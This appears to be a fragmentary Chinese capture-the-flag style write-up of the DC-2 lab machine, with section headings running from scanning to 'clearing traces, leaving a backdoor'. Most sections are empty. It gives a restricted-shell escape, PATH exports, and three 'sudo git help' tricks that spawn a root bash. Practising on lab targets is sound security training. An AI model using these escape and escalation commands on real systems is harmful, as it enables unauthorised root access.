靶机记录（十）：DC-2

目录

主机发现

端口扫描

Web渗透

地址解析

漏洞挖掘

GetShell

提权 

清痕迹，留后门 

---

主机发现

 

端口扫描

 

Web渗透

地址解析

漏洞挖掘

太慢了

九头蛇跑出来了一个

 

 Wpscan跑出来两个

 

 

 

GetShell

 

或者BASH_CMDS[a]=/bin/sh;a
然后 /bin/bash

 

 

添加并使用环境变量
命令1：export PATH=$PATH:/bin/
命令2：export PATH=/usr/sbin:/usr/bin:/sbin:/bin

 

 

提权 

git的三种提权方法：

sudo git help status
!/bin/bash

sudo git help config
!/bin/bash

sudo git -p help 
!/bin/bash

 

 

清痕迹，留后门